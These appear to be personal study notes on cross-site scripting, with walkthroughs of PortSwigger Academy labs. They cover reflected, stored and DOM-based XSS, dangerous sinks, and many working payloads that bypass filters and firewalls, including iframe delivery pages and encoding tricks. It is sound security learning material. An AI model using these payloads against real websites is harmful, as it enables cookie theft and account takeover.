# Basic Concept ![圖片](https://hackmd.io/_uploads/B10Iw3HN0.png) The XSS Attack involves deliver malicious payload to victim's browser. Let Victim to execute js and leak the sensitive info to us. iframe not allow call alter() (2021) # Identify XSS vulnerability ## Automatic Tools - xsstrike - Burp Suite Scanner ## Manual 1. Test Every entry point: login page ? query pages? comment ? 2. Positions URL parameter? Post Request? HTTP Header? 3. Determine the XSS context: Between HTML tags? HTML Attribute? 4. Testing Xss payload # XSS type ## Reflected - XSS This type of XSS occurs when a website receives data from an HTTP request and immediately reflects that data in the response. ## Store-XSS Store-XSS, also known as persistent XSS Positions: - user comment... - Chat room nicknames, - Customer order contact details. - Webmail application "display" message received over SMTP - a Marking application "display" the social media post - Network monitor application "display" packet data from the network ### Testing Way When manually testing Store XSS, we have to find out the "entry point" and "exit point" Entry point:Attacker-controllable data can enter the application's processing. Exit point:data might appear in the application's responses. ## DOM-Base XSS ### Window Basic Concept `window` is the main JavaScript object root, aka the `global object` in a browser. ![圖片](https://hackmd.io/_uploads/B1ejyJi4T.png) ![image](https://hackmd.io/_uploads/rkq5A0UNC.png) Web Page Generate! ![image](https://hackmd.io/_uploads/ByQiyywV0.png) Iframe -> embedding document in windows ![image](https://hackmd.io/_uploads/S1xPbkD4R.png) ### Vulnerable code -> Source Controllable ```htmlembedded #Reflect XSS #innerHTML #http://127.0.0.1:5500/XSS/DOMXSS/vulnCode/innerHtml.html?search=%3CDEtAiLS%09oNPOiNTerenTeR%0A=%0Aa=prompt,a()%0Dx%3E3nd <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <p id="results"></p> <script> const urlParams = new URLSearchParams(window.location.search); const search = urlParams.get('search'); const results = document.getElementById('results'); results.innerHTML = 'You searched for: ' + search; //Danger Sink </script> </body> </html> ``` ## Identify Tow way to find vulnerability - DOM invader (Build-in Burp suite browser) - Developer Tools We need to check any controllable source and tract it how to pass into the danger sink windows.location ## Controllable Source ### URL (location) ``` window.location.search location.serach location.hash ``` ## Danger Sinks https://portswigger.net/web-security/cross-site-scripting/dom-based#which-sinks-can-lead-to-dom-xss-vulnerabilities ``` document.write() document.writeln() document.domain element.innerHTML element.outerHTML element.insertAdjacentHTML element.onevent ``` Notice: ->element.innerHTML not allow svg,script ### Using DOM Invader to find out DOM-XSS #### Injecting a Canary DOM invader will automatically to parse the DOM to find out we injection specific string called 'canary' ![圖片](https://hackmd.io/_uploads/Hk9cxXoN6.png) Manual injecting Inject the canary manually into any input field we want to test. ![圖片](https://hackmd.io/_uploads/rJllYZ7o46.png) Exploiting ``` ?search=<img%20src%20onerror=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/Skw5-Qs4T.png) Automatically ![圖片](https://hackmd.io/_uploads/S1nLMXoN6.png) Notice: Injecting canary to all the page perhaps cause the web crash, When we testing the online wesite, we should test one source at a time. ![圖片](https://hackmd.io/_uploads/Hy-QvmoET.png) ![圖片](https://hackmd.io/_uploads/ByeFMdXj4p.png) - Outer HTML: The HTML element surrounding the canary. - Frame Path: The frame in which the canary is passed to the sink. - Event: The JavaScript event triggered when the canary is passed to the sink. #### Study the Vulnerable Code Trace the source and click the Stack trace link for further analysis. ![圖片](https://hackmd.io/_uploads/SyxN57sNT.png) ![圖片](https://hackmd.io/_uploads/S12Iq7oVT.png) ### LAB2-DOM-XSS Source: window.location.search / Sink: wdocument.write sink #### Find out interest request The application reflects user input immediately ![圖片](https://hackmd.io/_uploads/H1kgAJiE6.png) #### Analysis Dynamic Response Look up Source Code Vulnerable Code: ```javascript <script> function trackSearch(query) { document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); } var query = (new URLSearchParams(window.location.search)).get('search'); if(query) { trackSearch(query); } </script> ``` ![圖片](https://hackmd.io/_uploads/B1J9ygjN6.png) #### Identify Upon Analysis, we found ![圖片](https://hackmd.io/_uploads/r1salliET.png) Now, we have to analysis the context of reflected query and try to close img tag to inject XSS payload XSS Payload ``` meow"><svg onload="alert(1) ``` ![圖片](https://hackmd.io/_uploads/Sk8OXli4p.png) Solved ! ### LAB3 DOM-XSS Source: window.location.search / Sink: document.write ### Analysis Attack surface ![圖片](https://hackmd.io/_uploads/BywvuboVp.png) ![圖片](https://hackmd.io/_uploads/rJgdKu-oNp.png) ![圖片](https://hackmd.io/_uploads/SkvkFZs4a.png) ![圖片](https://hackmd.io/_uploads/SJQEFbs4a.png) In the site map, we see the the `stockCheck.js`. Danger Sink and Source found: Source ```javascript var store = (new URLSearchParams(window.location.search)).get('storeId'); document.write('<select name="storeId">'); if(store) { document.write('<option selected>'+store+'</option>'); } ``` Analysis the source ![圖片](https://hackmd.io/_uploads/SyAk3-i46.png) ### Identify We found the source being passed between `<tag1><tag>source</tag></tag1>`. We need to close the tags to inject HTML and trigger the XSS. ``` ?productId=1&storeId=</options>meow ``` ![圖片](https://hackmd.io/_uploads/ByrrgfsEp.png) ``` /product?productId=1&storeId=</options></select>meow<svg%20onload=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/Sy23gGsV6.png) ![圖片](https://hackmd.io/_uploads/BJGbWzsEa.png) Solved !! ## LAB-DOM XSS in innerHTML sink using source location.search ### Mapping Structure ![圖片](https://hackmd.io/_uploads/H1SiKzj46.png) ![圖片](https://hackmd.io/_uploads/r1g3mqGj4T.png) ### Analysis Attack Surface ![圖片](https://hackmd.io/_uploads/HJblcMjET.png) ![圖片](https://hackmd.io/_uploads/HkBW5ziN6.png) ### Identify The website reflected our input . ![圖片](https://hackmd.io/_uploads/By0t5MiV6.png) ![圖片](https://hackmd.io/_uploads/rJYOsGjNT.png) ``` /?search=<svg onload=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/ByL0sMjV6.png) ![圖片](https://hackmd.io/_uploads/BygbnGj4p.png) Solved ## Source and Sink in third-part dependencies ### DOM XSS in jQuery jQuery is a JavaScript library; it can easily modify the Document tag or attribute. Vulnerable Code ``` $(function() { $('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl')); }); ``` `attr()` function can modify the specific attribute value. The `href` value is assigned by a URL parameter; it can easily inject the payload to trigger the XSS. ``` /returnUrl=javascript:alert(document.domain) ``` ## LAB-DOM XSS in jQuery anchor href attribute sink Using the search.location source ### Mapping structure ![圖片](https://hackmd.io/_uploads/SJNzW4o46.png) ![圖片](https://hackmd.io/_uploads/r1zZZNsV6.png) ### Analysis attack surface ![圖片](https://hackmd.io/_uploads/SkbIb4i46.png) ### Identify ![圖片](https://hackmd.io/_uploads/ryHtfVo46.png) ![圖片](https://hackmd.io/_uploads/rybv7ViE6.png) ![圖片](https://hackmd.io/_uploads/ryaOmNj4p.png) Solved !! DOM Invader ![圖片](https://hackmd.io/_uploads/SJbMNEjV6.png) --- ### jQuery Selector The `$()` selector function is another potential dangerous sink; it can be used to inject malicious objects by the attacker For Example ```javascript= $(window).on('hashchange', function() { var element = $(location.hash); element[0].scrollIntoView(); }); ``` Attackers can utilize an iframe to trigger the hash event to exploit this vulnerability. PoC ```htmlembedded= <iframe src="https://vulnerable.com#" onload="this.src+='<img src=x onerror=print()>'"></iframe> ``` ## LAB-DOM XSS in jQuery selector sink using a hash event ### Mapping Structure ![圖片](https://hackmd.io/_uploads/Skhxc_h4T.png) ![圖片](https://hackmd.io/_uploads/ryfV5d3Vp.png) ### Analysis Attack Surface ![圖片](https://hackmd.io/_uploads/SJOA9Oh46.png) No useful information was found in Target Analysis Tools. We have to manually search for vulnerabilities. ### Identify Website's behavior: ![圖片](https://hackmd.io/_uploads/SytlAOnEa.png) When we go back to the previous page, it automatically anchors to the previous location ![圖片](https://hackmd.io/_uploads/HyEtCOnV6.png) ![圖片](https://hackmd.io/_uploads/BkFWkth4p.png) We could guess there is some program to implement this functionality. We found vulnerable jQuery code implementing this functionality as follows: ![圖片](https://hackmd.io/_uploads/SkooJt2Ep.png) ```javascript <script> $(window).on('hashchange', function(){ var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); if (post) post.get(0).scrollIntoView(); }); </script> ``` ![圖片](https://hackmd.io/_uploads/r1fmLthET.png) Testing ![圖片](https://hackmd.io/_uploads/rJGDZKn4p.png) Reflected & DOM - XSS ![圖片](https://hackmd.io/_uploads/HyOCZYhVT.png) ![圖片](https://hackmd.io/_uploads/S1aUGtnET.png) Deliver to Victime or embedding to other website which allow us to insert the iframe ![圖片](https://hackmd.io/_uploads/SyZrrK3E6.png) ![圖片](https://hackmd.io/_uploads/BkEEHKhNa.png) payloads ```htmlembedded= <iframe src="https://0a48001f03d228fa8087da4300da0056.web-security-academy.net/#" onload="this.src+='<img src=meow onerror=print()>'"> ``` Solved! ![圖片](https://hackmd.io/_uploads/BJaLrY3VT.png) --- ## DOM XSS in angular JS AngularJS allows websites to execute JavaScript without angle brackets or events. When the HTML element has the `ng-app` attribute, it will be processed by AngularJS. PoC paylaod ``` {{$on.constructor('alert(1)')()}} ``` ## LAB-XSS in AngularJS expression with angle bracket and double quote HTML-Encoding. ### Mapping Structure ![圖片](https://hackmd.io/_uploads/SynNhF2Ea.png) ![圖片](https://hackmd.io/_uploads/S11osYhE6.png) ### Analysis Attack Surface ![圖片](https://hackmd.io/_uploads/Byj-2t24p.png) ![圖片](https://hackmd.io/_uploads/S1Wp3Y3ET.png) ### Identify ![圖片](https://hackmd.io/_uploads/SkTi3K24p.png) PoC ``` {{$on.constructor('alert(1)')()}} ``` ![圖片](https://hackmd.io/_uploads/HyjxpF24p.png) ![圖片](https://hackmd.io/_uploads/r1uMTF2VT.png) ## Reflected DOM XSS Pure DOM XSS vulnerable are self-contain within a single page. However, website also process data from the http request and pass into the DOM sing, lead to Refleted DOM XSS For instance, the form process the reflected data in unsafely way, ultimately write it to danger sink. Vulnerable Code ``` eval('var data = "reflected string"'); ``` ## LAB-Reflected DOM XSS ### Mapping target ![圖片](https://hackmd.io/_uploads/rJ8Ax36V6.png) ![圖片](https://hackmd.io/_uploads/H1Edgn6Na.png) ### Analysis attack surface Finding interested request ![圖片](https://hackmd.io/_uploads/B1o3x2aN6.png) Brows those Dynamic URLs via browser and Send those request to Repeater Interested behavior. ![圖片](https://hackmd.io/_uploads/HJ-ib36N6.png) ![圖片](https://hackmd.io/_uploads/ByAhb3p46.png) ### Identify According we previous investigation. we could audit how the website to display search's response Audit the `/?search=360783` page we found / page import the searchResult.js ![圖片](https://hackmd.io/_uploads/ByjW4np4a.png) ![圖片](https://hackmd.io/_uploads/rkaMXhpVp.png) path -> search-result ![圖片](https://hackmd.io/_uploads/H1kJr2p46.png) ![圖片](https://hackmd.io/_uploads/rya9In64a.png) --- Sink ``` eval('var searchResultsObj = ' + this.responseText); ``` ![圖片](https://hackmd.io/_uploads/HJtBCnpVa.png) we could exploit eval function on local testing as following payload ``` eval('var jsonOBJ='+""-alert(1)); ``` --- Escape Json filter and deal with json format if we input ", josn will attempt escape double quote using backslash(/) we can add second / to bypass JSON filter to close searchTerm value and using subtraction operator to separate the expression before we call our injected JS Finally, Using curly bracket to close the json object and two forward slashed comment out rest of object. paylaod ``` \"-alert("meow")}// ``` ![圖片](https://hackmd.io/_uploads/B1bAlapET.png) Solved!! ## Stored DOM XSS website may also to store the data that we could control on server, when other page have to retrieve the data and using to script to display information in unsafe way , it could lead to Stored DOM XSS ### LAB-Stored DOM XSS #### Mapping target ![圖片](https://hackmd.io/_uploads/r1bgJA6VT.png) ![圖片](https://hackmd.io/_uploads/SyTQJC6Vp.png) #### Analysis Attack surface Finding interest request ![圖片](https://hackmd.io/_uploads/SkeuJAaNa.png) ![圖片](https://hackmd.io/_uploads/rkG9M0pNp.png) Interest javascript -> we find the controllable source, next we have to attempt to find the Sink ![圖片](https://hackmd.io/_uploads/ByspeCpVp.png) ![圖片](https://hackmd.io/_uploads/BJqELATNT.png) #### Identify Analysis Post command functionality ![圖片](https://hackmd.io/_uploads/SysZzRa46.png) ![圖片](https://hackmd.io/_uploads/r1BSMRaEp.png) Stored DOM XSS in commend ``` <><img src=meow onerror=alert(1)> ``` Passing SOurce to sink ![圖片](https://hackmd.io/_uploads/rymcIRpNT.png) ![圖片](https://hackmd.io/_uploads/rJyjv0TVa.png) Trigger arbitrary js ![圖片](https://hackmd.io/_uploads/S1V6B0T4a.png) Solved!! ## Command DOM-XSS Danger Sink! The following are some of the main sinks that can lead to DOM-XSS vulnerabilities: `document.write() document.writeln() document.domain element.innerHTML element.outerHTML element.insertAdjacentHTML element.onevent` The following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities: `add() after() append() animate() insertAfter() insertBefore() before() html() prepend() replaceAll() replaceWith() wrap() wrapInner() wrapAll() has() constructor() init() index() jQuery.parseHTML() $.parseHTML()` # XSS Context It's essential to identify where our controllable data appears location where are appears. Check whether there is any validation or pre-processing with data perform by the application. Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ## Between HTML tages IF the source located between HTML tags, we can insert HTML tag or script to trigger XSS. PoC ``` <script>alert(document.domain)</script> <img src=1 onerror=alert(1)> ``` ### WAF (Web Application Firewall) Web application firewall ![圖片](https://hackmd.io/_uploads/SJoAUmxS6.png) ### LAB-Reflected XSS into HTML context with most tags and attribute blocked #### Mapping target ![圖片](https://hackmd.io/_uploads/ByVeXIyBT.png) ![圖片](https://hackmd.io/_uploads/ryLXmI1ra.png) #### Analysis Attack Surface Finding Interest request ![圖片](https://hackmd.io/_uploads/ByLcQIJrp.png) It reflects our input between the `<h1>` tags. ![圖片](https://hackmd.io/_uploads/HJgIUf8yHp.png) #### Identify Attempting inject the PoC payload ``` <img src=x onerror=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/SkE9rUJS6.png) ![圖片](https://hackmd.io/_uploads/r1HYBUyB6.png) However, it is filtered by the WAF, we could fuzzing it determine whether the rule is a whitelist or blacklist And try to bypass it. ![圖片](https://hackmd.io/_uploads/SyBozLkH6.png) #### Fuzzing Tags ![圖片](https://hackmd.io/_uploads/rJVTrLySa.png) ![圖片](https://hackmd.io/_uploads/S12J881Hp.png) ![圖片](https://hackmd.io/_uploads/HkSNLLJBT.png) ![圖片](https://hackmd.io/_uploads/HJO9ILyHp.png) We discover the `<body>` tag is allowed Next, We attempt to injected this payload ``` <body onload=alert> ``` ![圖片](https://hackmd.io/_uploads/BkHrv8kHT.png) According the error response, we need to find the valid attribute in the same way. #### Fuzzing valid attribute ![圖片](https://hackmd.io/_uploads/HyHPd81Ha.png) ![圖片](https://hackmd.io/_uploads/B1mFuLkSp.png) ![圖片](https://hackmd.io/_uploads/HJdsOUkHp.png) ![圖片](https://hackmd.io/_uploads/SJkWtLkSp.png) payload ``` ?search=<body+onresize%3dprint()> <body onresize=print()> ``` ![圖片](https://hackmd.io/_uploads/BkQ1cIkHp.png) We have to write some code to let user trigger the onresize attribute. #### Trigger onresize attribute by Frame ```html <iframe src="https://0af400c104ed4fd780a9767f008c002c.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'> ``` ![圖片](https://hackmd.io/_uploads/HylcqUyra.png) ![圖片](https://hackmd.io/_uploads/rJvc9LJST.png) Solved!! ### LAB-Reflected XSS into HTML context with all tags block except customer one #### Analysis Attack surface Evaluated user input ![圖片](https://hackmd.io/_uploads/ByivJPyST.png) Tag are not allowed ! ![圖片](https://hackmd.io/_uploads/ry1TywkSp.png) ![圖片](https://hackmd.io/_uploads/ryeZgD1rT.png) ![圖片](https://hackmd.io/_uploads/H1cUxwJSa.png) It allow use non-standard tags #### tabIndex attributed ![圖片](https://hackmd.io/_uploads/SyMBeElST.png) ```htmlembedded <div id =meow tabindex="1"> <p>This is the first focusable element.</p> </div> ``` The `tabindex` attribute support the focus functionality. When we access `http://website.com#meow` to focus the ID value of the element is meow ![圖片](https://hackmd.io/_uploads/S1e3WVeBp.png) and it will be auto-focused. We could exploit the `onfocus` attribute to trigger JavaScript events. we could testing ``` <meowtag id=focusmeow onfocus=alert(1) tabindex="1"> ``` ``` ?search=<meowtag id=focusmeow onfocus=alert(1) tabindex=1>#focusmeow ``` ![圖片](https://hackmd.io/_uploads/BkDUBVeBa.png) ![圖片](https://hackmd.io/_uploads/S1CQuNera.png) ```htmlembedded <script> location="https://0a7400780492b48b804308d300cd0073.web-security-academy.net/?search=<meowtag id=focusmeow onfocus=alert(document.cookie) tabindex=1>#focusmeow"; </script> ``` ![圖片](https://hackmd.io/_uploads/rkBHuNxH6.png) Solved !! ### LAB-Reflected with event handler href attributed was blocked #### Mapping target ![圖片](https://hackmd.io/_uploads/HyphfrlST.png) #### Analysis Attack surface Finding interested request ![圖片](https://hackmd.io/_uploads/H1IEQHeH6.png) Evaluated user input ![圖片](https://hackmd.io/_uploads/ryv27BxHa.png) #### Identify Testing ``` <img src=x onerror=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/Bk_MVHxrp.png) ``` <meow> ``` ![圖片](https://hackmd.io/_uploads/SJwF4rxHa.png) Base on the result, we can infer that website use whitelist to filter tag #### Fuzzing Tags ![圖片](https://hackmd.io/_uploads/HyY3TSxHp.png) ``` <svg onload=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/SJzeRreHT.png) The `onload` attribute didn't allow. #### Fuzzing Event ![圖片](https://hackmd.io/_uploads/r1ycBLeST.png) All triggered JavaScript events are blocked. The "a" tag's href attribute is also blocked. ![圖片](https://hackmd.io/_uploads/S1PfU8erp.png) #### Survey Animate Element Document ![圖片](https://hackmd.io/_uploads/rJ4gr8grT.png) ``` <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <a href="meow"> <animate attributeName="href" values="javascript:alert('Hello!')" dur="1s" repeatCount="1" /> <text x="10" y="40">Click me</text> </a> </svg> ``` ![圖片](https://hackmd.io/_uploads/BJISnEeB6.png) We could remove the href and some unnecessary elements to trigger XSS. ``` <svg> <a> <animate attributeName="href" values="javascript:alert('Hello!')" /> <text x="10" y="40">Click me</text> </a> </svg> ``` ![圖片](https://hackmd.io/_uploads/HkftTEgSp.png) ``` <svg><a><animate attributeName="href" values="javascript:alert('Hello!')" /><text x="10" y="40">Click me</text></a></svg> ``` ![圖片](https://hackmd.io/_uploads/S1WzC4xH6.png) Solved ### LAB Reflect XSS with some SVG markup allowed ![圖片](https://hackmd.io/_uploads/Skv3C8eHa.png) ``` ?search=<svg onload=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/Sy7-JPxST.png) ``` ?search=<img+src%3dx+onerror%3dalert(1)> ``` Tags are not allowed. ![圖片](https://hackmd.io/_uploads/SkcOkDlB6.png) #### Fuzzing Tags ![圖片](https://hackmd.io/_uploads/HydQMPxHp.png) #### Fuzzing Event ![圖片](https://hackmd.io/_uploads/ryqmrPxr6.png) #### Survey animateTransform ![圖片](https://hackmd.io/_uploads/HJqAWDxB6.png) ```htmlembedded <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="50" height="50" fill="blue"> <animateTransform attributeName="transform" attributeType="XML" type="rotate" dur="2s" values="0;360" repeatCount="indefinite" onbegin=alert(1) /> </rect> </svg> ``` ![圖片](https://hackmd.io/_uploads/SydFUwlrT.png) Removing didn't require element and attribute to avoid being filtered by WAF. ```htmlembedded= <svg> <animateTransform onbegin=alert(1) /> </svg> ``` ``` <svg ><animateTransform onbegin=alert(1)></svg> ``` ![圖片](https://hackmd.io/_uploads/r1MPwweSa.png) ![圖片](https://hackmd.io/_uploads/BkExFvxBa.png) ![圖片](https://hackmd.io/_uploads/rkCbKwgBT.png) Solved !! ## In the HTML Attribute Value Sometime, it's possible to terminate the element by `">`, but More commonly, the angle bracket will be blocked or encode by the filter. If the element allow us to terminal the value with `"` we could append a new event listener to trigger XSS as the following code. ```htmlembedded " autofocus onfocus=alert(1) close="meow ``` FireFox Not Work Chrome Work ### Lab Reflected XSS into attribute with angle bracket HTML Encoding ### Mapping target ![圖片](https://hackmd.io/_uploads/Hy7v1dgH6.png) ### Analysis Attack surface ![圖片](https://hackmd.io/_uploads/B1h21ugBp.png) #### ?/search=p1 ![圖片](https://hackmd.io/_uploads/BJbvxOeBp.png) ### Identify ![圖片](https://hackmd.io/_uploads/HyYixOgH6.png) ``` /?search=" autofocus onfocus=alert(1) x="x ``` ![圖片](https://hackmd.io/_uploads/B1vsQOlB6.png) ![圖片](https://hackmd.io/_uploads/SJT2mdera.png) Solved !! --- ### Double quote HTML-encoded javascript:alert(1) Using ``` <a href="javascript:alert(document.domain)"> ``` ### LAB-Stored XSS into href attribute anchor with double quote HTML-encoded #### Mapping target ![圖片](https://hackmd.io/_uploads/BJl6XclB6.png) ![圖片](https://hackmd.io/_uploads/Sk4qXclS6.png) #### Analysis Attack Surface /post/command ![圖片](https://hackmd.io/_uploads/ryv545lH6.png) #### Identity ![圖片](https://hackmd.io/_uploads/HkIx8qgHp.png) ``` javascript:alert(1) ``` ![圖片](https://hackmd.io/_uploads/r1UBU9lHp.png) ![圖片](https://hackmd.io/_uploads/S1ZLIqeBT.png) Solved --- ``` <input type="hidden" accesskey="x" onclick="alert(1)"> ``` ``` <link rel="canonical" accesskey="x" onclick="alert(1)" /> ``` ### LAB-Reflected XSS in link tag ![圖片](https://hackmd.io/_uploads/Hy1oKcgBp.png) ![圖片](https://hackmd.io/_uploads/S1wgWoxrp.png) ![圖片](https://hackmd.io/_uploads/S1K6Xoxrp.png) ``` <img src=x onerror=alert(1)> ``` #### Identify ![圖片](https://hackmd.io/_uploads/rJPXNigST.png) ![圖片](https://hackmd.io/_uploads/rJA5NseSa.png) ``` /?'x='1 ``` ![圖片](https://hackmd.io/_uploads/BJMCSsgHa.png) payload ``` /?'accesskey='x'onclick='alert(1) ``` (Didn't have space in the payload) ![圖片](https://hackmd.io/_uploads/BJgSLixHT.png) ![圖片](https://hackmd.io/_uploads/Sk7TwslB6.png) Solved !! --- ## XSS in javascript when our controllable source exists in the javascript block, we can attempt to terminate current javascript block and inject own payload. ### Terminating Current Script The commonly way using `</script>` to terminate the javascript block. For example ``` <script> ... var name = 'user controlable data' ... ... </script> ``` In this situation, we attempt inject the `</script>` tag and insert html tag to trigger the XSS as shown below ``` </script><svg onload=alert(1)> ``` This attack work because the browser will parse the the Document element to identity the page element including block of script, and next action will parse the javascrip. ### LAB Reflect XSS in the javascript string with single quote and backslash escape #### Mapping The Target ![圖片](https://hackmd.io/_uploads/S1MvSefHp.png) ![圖片](https://hackmd.io/_uploads/HJhFSxzBa.png) #### Analysis Attack surface ![圖片](https://hackmd.io/_uploads/ryfy8gfSp.png) /?research ![圖片](https://hackmd.io/_uploads/SJsFIgzSa.png) There are two Xss context we could try #### Identity try `<svg onload=alert(1)>` Between with HTML tags ![圖片](https://hackmd.io/_uploads/B10YPlfBT.png) Script variable didn't proper sensitize Attempt to terminal the script and injection the html payload to trigger XSS Payload `</script><svg onload=alert(1)>` ![圖片](https://hackmd.io/_uploads/rJIlYxzr6.png) ![圖片](https://hackmd.io/_uploads/BkA7YxMHa.png) Solved !! --- ### Breaking out of javaScript string In some situation, the XSS context may be inside the a quoted string, we could use some technique to break out of the string and executing the javaScrip. ==Note++ It's essential to repairing the script, since our injected payload may otherwise cause the to fail due to the (Syntax Error) Payload - -> separate the sting and javascript Expression. ``` //Using the single qutoes meow'-alert(document.cookie)-' or //Using the double qutoes meow"-alert(document.cookie)-" meow'<Repare Syntax>;alert(document.domain)// ``` ![圖片](https://hackmd.io/_uploads/ryvhepGS6.png) ![圖片](https://hackmd.io/_uploads/ryG7ZTfHp.png) ### LAB Reflected XSS into javascript with angle bracket HTML encoding. #### Mapping Structure ![圖片](https://hackmd.io/_uploads/SJ_AmafHa.png) #### Analysis Attack surface ![圖片](https://hackmd.io/_uploads/SJOPVTMHa.png) /post?postId=2 /?search=? /resources/images/tracker.gif?searchTerms=171171 #### Identify ==/?search=?== ![圖片](https://hackmd.io/_uploads/SkOyU6GHT.png) ``` sting</scirpt> ``` ![圖片](https://hackmd.io/_uploads/S1n6U6zB6.png) ``` ?search=171171';alert(1);// ``` ![圖片](https://hackmd.io/_uploads/HySHvpzra.png) ``` ?search=171171'-alert(1)-'meow ``` ![圖片](https://hackmd.io/_uploads/rk-Awpzra.png) ![圖片](https://hackmd.io/_uploads/SysAvafHa.png) Solved !! --- ### Bypass Backslash Escaping Some application will prevent single quote or double quote from breaking out string with backslash escaping as flowing. ``` \';alert(document.domain)// ``` we could add \ to bypass it ``` \\';alert(document.domain)// ``` ### LAB-Reflected XSS into javascript string with angle bracket and double quotes HTML encoding and single quote escaped #### Mapping target ![圖片](https://hackmd.io/_uploads/Sk7_zCGST.png) #### Analysis attack surface ![圖片](https://hackmd.io/_uploads/SJ8RzCGSp.png) Potential injected point! ``` GET /post?postId=5 GET /?search=227860 GET /resources/images/tracker.gif?searchTerms=227860 ``` #### Identity ![圖片](https://hackmd.io/_uploads/S1pYm0zHp.png) Attempt ``` <svg onlaod=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/Bkl1ERGS6.png) we could know we didn't use angle bracket to test we could try using single quote to close string and trigger XSS ``` ?search=227860';alert(1)// ``` ![圖片](https://hackmd.io/_uploads/SJ5x8Cfr6.png) we could attempting as following payload ``` /?search=227860\';alert(1)// ``` or ``` /?search=227860\'-alert(1);// ``` ![圖片](https://hackmd.io/_uploads/ryPULRfSa.png) It look like success ! ![圖片](https://hackmd.io/_uploads/BkuK8CMB6.png) ![圖片](https://hackmd.io/_uploads/HkLaL0zST.png) ![圖片](https://hackmd.io/_uploads/rJIxuAMBa.png) ![圖片](https://hackmd.io/_uploads/HkZRI0zSp.png) ### Bypass WAF or filter Using `throw` throw statement allow us didn't use the parentheses to call the function and pass value.As the following ``` onerror=alert;throw 1 ``` ``` <img src=x onerror=alert;throw 1> or <script>onerror=alert;throw 1</script> ``` ![圖片](https://hackmd.io/_uploads/S1EYCRzSa.png) More technique detail https://portswigger.net/research/xss-without-parentheses-and-semi-colons ### LAB Reflected XSS in javascript URL with some character blocked. #### Mapping target ![圖片](https://hackmd.io/_uploads/H1LFNymSp.png) #### Analysis attack surface ![圖片](https://hackmd.io/_uploads/H1R_N1mST.png) `POST /post/comment` Skip ---- ### HTML encoding by pass When the XSS context exists in html tag with js Event handler, It's possible to use html encoding to bypass the input filter. XSS-Work Reason Browser will decoding the html tag attribute value in response, when it perform javascript Event ' -> &apos; " -> &quot; ![圖片](https://hackmd.io/_uploads/B1Nkc2pSp.png) vulnerable code ```htmlembedded <a href="" onclick="var name = '123&apos;-alert(1);//&apos;'">moew</a> ``` ![圖片](https://hackmd.io/_uploads/rkc1T2aH6.png) HTML automatically HTML decoding event attribute vale to ensuring the javascript work correctly. Exploiting this mechanism allow bypassing input filter HAHA. ==Note== This technique doesn't work on regular HTML attributes. ![圖片](https://hackmd.io/_uploads/BkIci06Ba.png) ### LAB-Store XSS into onclick event with angle bracket and double quotes HTML-encoding and single quote and backslash escaped #### Mapping The Target Auto Scan (Crawl) -> GET ![圖片](https://hackmd.io/_uploads/rJmRihCS6.png) Manual Testing -> POST ![圖片](https://hackmd.io/_uploads/H1Ewj3RHa.png) #### Analysis Attack Surface ![圖片](https://hackmd.io/_uploads/HJ5jn3CBp.png) Envaluate user INput (Comment functionality) Comment parameter ![圖片](https://hackmd.io/_uploads/ryUagaCrp.png) ![圖片](https://hackmd.io/_uploads/Hy2YeaCB6.png) #### Identify XSS Between the HTML tags ``` <svg onload=alert(1)> ``` ![圖片](https://hackmd.io/_uploads/Sysjbp0Ha.png) In a javacript string Testing ![圖片](https://hackmd.io/_uploads/H11aGa0S6.png) ``` 123'-alert(1)-' ``` ![圖片](https://hackmd.io/_uploads/rk24QpRB6.png) Bypass backslash ``` meow\'-alert(1)-\' ``` ![圖片](https://hackmd.io/_uploads/Hyabr60Ha.png) ![圖片](https://hackmd.io/_uploads/HyTgHTRHT.png) The controllable source context is in the javascript event we could encode the single quote using HTML encoding to bypassing the input sanitized. ![圖片](https://hackmd.io/_uploads/SkNHLT0r6.png) HTML-encoding ``` &apos;-alert(1)&apos; //work or &#x27;-alert(1)-&#x27; //work ``` URL-encoding ``` http%3A123%26apos%3B-alert%281%29-%26apos%3B ``` ![圖片](https://hackmd.io/_uploads/Hy2Sc6CHT.png) ![圖片](https://hackmd.io/_uploads/Hy2eKpRra.png) ![圖片](https://hackmd.io/_uploads/ryzD9pCSp.png) ![圖片](https://hackmd.io/_uploads/rkRHKaAST.png) Solved !! --- ### XSS in javascript template literal javscript template allow us embeded the javaScript expressions in string using backticks (`). Here's an example: ```javascript <p id =meow></p> <script> var name = "meowhecker" //if the name is controllabled document.getElementById('meow').innerHTML= `I am ${name}` </script> ``` ![圖片](https://hackmd.io/_uploads/HJy1nA0rT.png) ![圖片](https://hackmd.io/_uploads/SJwyh0ASp.png) ```htmlembedded <p id =meow></p> <script> var name = '123'-alert(1)-'' //if the name is controllabled var geeting = `I am ${name}` document.getElementById('meow').innerHTML= geeting </script> ``` ![圖片](https://hackmd.io/_uploads/ByhqpC0Bp.png) ![圖片](https://hackmd.io/_uploads/Sk72pR0ra.png) ### LAB Reflected-XSS into javascript template literal with angle bracket, single quote, double quote, backslash and bracket Unicode-escaped. #### Mapping Target ![圖片](https://hackmd.io/_uploads/HJGqHkkU6.png) #### Analysis Attack Surface ![圖片](https://hackmd.io/_uploads/Hy7aB1J86.png) Evaluated user input ![圖片](https://hackmd.io/_uploads/HkCvL1yI6.png) #### Identify Context: In JavaScript template literal ``` ${alert(1)} ``` ![圖片](https://hackmd.io/_uploads/S1S9vk1La.png) ![圖片](https://hackmd.io/_uploads/B1p3D1JUT.png) ![圖片](https://hackmd.io/_uploads/SyVpPkyL6.png) Solved !! ### Client Side Template injection (skip) --- # Exploit-XSS ``` alert(document.domain) printer() prompt() 